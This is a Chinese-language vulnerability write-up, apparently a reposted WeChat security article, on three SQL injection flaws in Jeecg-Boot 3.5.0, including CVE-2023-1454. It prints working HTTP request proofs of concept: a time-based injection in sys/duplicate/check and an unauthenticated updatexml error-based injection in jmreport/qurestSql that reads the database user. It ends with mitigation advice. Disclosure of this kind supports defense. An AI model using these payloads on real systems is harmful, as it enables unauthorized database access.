Skip to content

Latest commit

 

History

History
146 lines (71 loc) · 4.85 KB

[Hack All]-2023-6-19-Jeegc-Boot 最新多个SQL注入漏洞.md

File metadata and controls

146 lines (71 loc) · 4.85 KB

Jeegc-Boot 最新多个SQL注入漏洞

原创 Hack All Hack All

Hack All

微信号 PTIOVHA

功能介绍 专注于网络安全,渗透测试,文章和工具分享,包括但不限于Web安全、物联网安全、车联网安全,我们的目标是Hack All!


__发表于

收录于合集

#漏洞库 25 个

#漏洞复现 13 个

#漏洞知识 12 个

简介

Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot- Plus的快速开发平台,它提供了一系列的代码生成器、模板引擎、权限管理、数据字典、数据导入导出等功能,可以帮助开发者快速构建企业级应用。最近在最新的jeecg- boot 3.5.0 中被爆出多个SQL注入漏洞。

官方网站:http://www.jeecg.com

影响范围

Jeecg-Boot = v3.5.0

1、 sys/duplicate/check 接口SQL注入

sys/duplicate/check 接口存在SQL注入漏洞,checksql可以被绕过,需要身份认证,判断当前数据库用户:

来源:

https://github.com/jeecgboot/jeecg-boot/issues/4737

Poc:


GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36Connection: closeCache-Control: max-age=0X_ACCESS_TOKEN: [Token值]

2、jmreport/qurestSql 未授权SQL注入(CVE-2023-1454)

根据J0hnWalker的分析,漏洞产生的主要原因是jimureport-spring-boot- starter-1.5.6.jar中/org/jeecg/modules/jmreport/desreport/a/a.class文件:

参数 apiSelectId 会从jimu_report_db表中通过id参数查询数据,id参数未过滤:

jimu_report_db表中id值为1272834687525482497和1290104038414721025等的db_dyn_sql列是sql语句,且引用了id参数,这会导致二次注入:

Poc:


POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: localhost:8080Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: closeContent-Length: 130Content-Type: application/json;charset=UTF-8  
{"apiSelectId":"1290104038414721025","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

获取当前数据库用户:

来源:

https://github.com/J0hnWalker/jeecg-boot-sqli

3、jmreport/loadTableData授权SQL注入

可视化设计-->报表设计器功能处存在SQL注入:

通过新建报表添加SQL数据集:

在报表SQL中插入SQL语句,在数据预览时触发SQL注入:

来源:

https://github.com/jeecgboot/jeecg-boot/issues/4702

修复建议

1、目前官方暂未发布安全版本修复该漏洞,请及时关注官网最新版本的发布情况。2、设置访问IP白名单或将系统部署到内网环境中。3、修改漏洞代码,过滤id参数,防止SQL注入。

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看